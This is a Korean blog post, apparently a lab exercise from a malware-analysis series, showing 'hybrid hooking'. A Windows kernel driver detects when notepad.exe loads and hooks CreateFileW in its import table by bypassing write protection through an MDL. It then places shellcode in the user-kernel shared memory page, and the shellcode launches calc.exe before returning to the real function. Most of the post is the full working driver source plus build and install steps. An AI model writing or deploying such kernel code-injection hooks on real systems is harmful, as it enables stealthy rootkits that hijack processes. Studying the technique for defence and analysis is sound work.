하이브리드 후킹 ( Kernel을 이용한 User IAT 후킹 )
2018. 5. 21. 05:30ㆍ악성코드 분석
Hybrid Hooking
커널에서 유저쪽의 IAT를 후킹한다
대략적인 순서는 먼저 Callback함수를 등록한다 ( sys파일등록 )
=> 유저쪽의 이미지 파일이 실행될 때 커널에 알리도록 notify를 발생시킨다
그리고 해당 이미지 파일의 이름을 확인하고 후킹을 설치한다
IAT Hooking은 MDL을 이용한 WriteProtection을 해제하고 공유메모리를 이용한다
* MDL ( Memory Descriptor List )
NonpagedPool에 MDL 생성
생성된 MDL은 보호받는 메모리영역을 가르킨다
보호플래그를 변경하고 해당 메모리 영역에 데이터를 쓴다
다시 원상태로 복구
* 공유메모리 - KUSER_SHARE_DATA
유저와 커널이 공유하는 데이터 영역
후킹 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 | #include "ntddk.h" #include "ntimage.h" #include "Driver_IATHook.h" VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("OnUnload called\n"); PsSetLoadImageNotifyRoutine(MyImageLoadNotify); } NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { NTSTATUS ntStatus; gb_Hooked = FALSE; // We have not hooked yet // 이미지가 실행되면 해당 함수 실행 ntStatus = PsSetLoadImageNotifyRoutine(MyImageLoadNotify); // DriverObject의 언로드 포인터를 세팅한다. theDriverObject->DriverUnload = OnUnload; return ntStatus; } VOID MyImageLoadNotify(IN PUNICODE_STRING FullImageName, IN HANDLE ProcessId, IN PIMAGE_INFO ImageInfo) { UNICODE_STRING u_targetEXE; // 후킹하고자 하는 프로세스 이름 설정 RtlInitUnicodeString(&u_targetEXE, L"\\Device\\HarddiskVolume1\\WINDOWS\\system32\\notepad.exe"); // 후킹하고자 하는 프로세스를 찾으면 실행 if (RtlCompareUnicodeString(FullImageName, &u_targetEXE, TRUE) == 0) { DbgPrint("Image name: %ws\n", FullImageName->Buffer); HookImportsOfImage(ImageInfo->ImageBase, ProcessId); } } NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc) { PIMAGE_DOS_HEADER dosHeader; PIMAGE_NT_HEADERS pNTHeader; PIMAGE_IMPORT_DESCRIPTOR importDesc; PIMAGE_IMPORT_BY_NAME p_ibn; DWORD importsStartRVA; PDWORD pd_IAT, pd_INTO; int count, index; // kernel32.dll 의 CreateFile함수를 변조한다 char *dll_name = NULL; char *pc_dlltar = "kernel32.dll"; char *pc_fnctar = "CreateFileW"; PMDL p_mdl; PDWORD MappedImTable; // 공유 메모리의 주소 DWORD d_sharedM = 0x7FFE0800; // 유저쪽 공유 메모리 주소 DWORD d_sharedK = 0xFFDF0800; // 커널쪽 공유 메모리 주소 //쉘코드 정의 - calc.exe를 실행하는 쉘코드 unsigned char shellcode[] = "\x33\xc0" //xor eax,eax "\x50" //push eax "\x68\x63\x61\x6C\x63" //push 636C6163h "\x8B\xC4" //push eax,esp "\x6A\x05" //push 5 "\x50" //push eax "\x68\xFA\xCA\x71\x7C" //push 7C71CAFAh "\x80\x44\x24\x02\x10" //add byte ptr [esp+2],10h "\x68\x7D\x23\x76\x7C" //push 7C76237Dh "\x80\x04\x24\x30" //add byte ptr [esp],30h "\x80\x44\x24\x02\x10" //add byte ptr [esp+2],10h "\xC3"; //retn // 쉘코드 이후 정상 실행흐름으로 돌아가는 코드 정의 (detour Code) // 변조하기 전의 IAT로 이동 unsigned char new_code[] = { 0x90, // NOP 0xb8, 0xff, 0xff, 0xff, 0xff, // mov eax, 0xFFFFFFFF 0xff, 0xe0 // jmp eax }; dosHeader = (PIMAGE_DOS_HEADER) image_addr; pNTHeader = MakePtr( PIMAGE_NT_HEADERS, dosHeader, dosHeader->e_lfanew ); if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE ) return STATUS_INVALID_IMAGE_FORMAT; importsStartRVA = pNTHeader->OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if (!importsStartRVA) return STATUS_INVALID_IMAGE_FORMAT; importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA + (DWORD) dosHeader); for (count = 0; importDesc[count].Characteristics != 0; count++) { //모듈 베이스 주소 + Name RVA dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader); pd_INTO = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk); pd_IAT = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].FirstThunk); //pd_IAT는 IMAGE_IMPORT_BY_NAME 구조체의 배열 시작주소다. for (index = 0; pd_IAT[index] != 0; index++) { // If this is an import by ordinal the high // bit is set if ((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG) { p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index]+((DWORD) dosHeader)); if ((_stricmp(dll_name, pc_dlltar) == 0) && \ (strcmp(p_ibn->Name, pc_fnctar) == 0)) { //DbgPrint("Imports from DLL: %s", dll_name); //DbgPrint(" Name: %s Address: %x\n", p_ibn->Name, pd_IAT[index]); // Use the trick you already learned to map a different // virtual address to the same physical page so no // permission problems. // // Map the memory into our domain so we can change the permissions on the MDL p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4); if(!p_mdl) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(p_mdl); // Change the flags of the MDL p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedImTable = MmMapLockedPages(p_mdl, KernelMode); if (!gb_Hooked) { // Writing the raw opcodes to memory // used a kernel address that gets mapped // into the address space of all processes // thanks to Barnaby Jack //RtlCopyMemory((PVOID)d_sharedK, new_code, 8); //RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)&pd_IAT[index], 4); RtlCopyMemory((PVOID)d_sharedK, shellcode, 38); RtlCopyMemory((PVOID)(d_sharedK+38), new_code, 8); RtlCopyMemory((PVOID)(d_sharedK+40),(PVOID)&pd_IAT[index], 4); gb_Hooked = TRUE; } // Offset to the "new function" *MappedImTable = d_sharedM; // Free MDL MmUnmapLockedPages(MappedImTable, p_mdl); IoFreeMdl(p_mdl); } } } } return STATUS_SUCCESS; } | /cs |
[1] bulid하여 sys파일생성 & 서비스 등록 ( InstDrv 사용 )
[2] Notepad.exe에서 파일을 저장할 때 함수를 사용한다 ( write? create? )
[3] 후킹으로 인해 저장버튼을 클릭하면 계산기가 실행된다
'악성코드 분석' 카테고리의 다른 글
악성코드 유출사례 ( DBD 실습 ) (2) | 2018.06.12 |
---|---|
Memory Forensic [ OS란 ? ] (0) | 2018.05.23 |
DeviceDriver MajorFunction 후킹 [ netstat ] (0) | 2018.05.15 |
RootKit [ SSDT Hooking 실습] (0) | 2018.05.13 |
RootKit [ DeviceDriver 개념 및 설치실습] (0) | 2018.05.13 |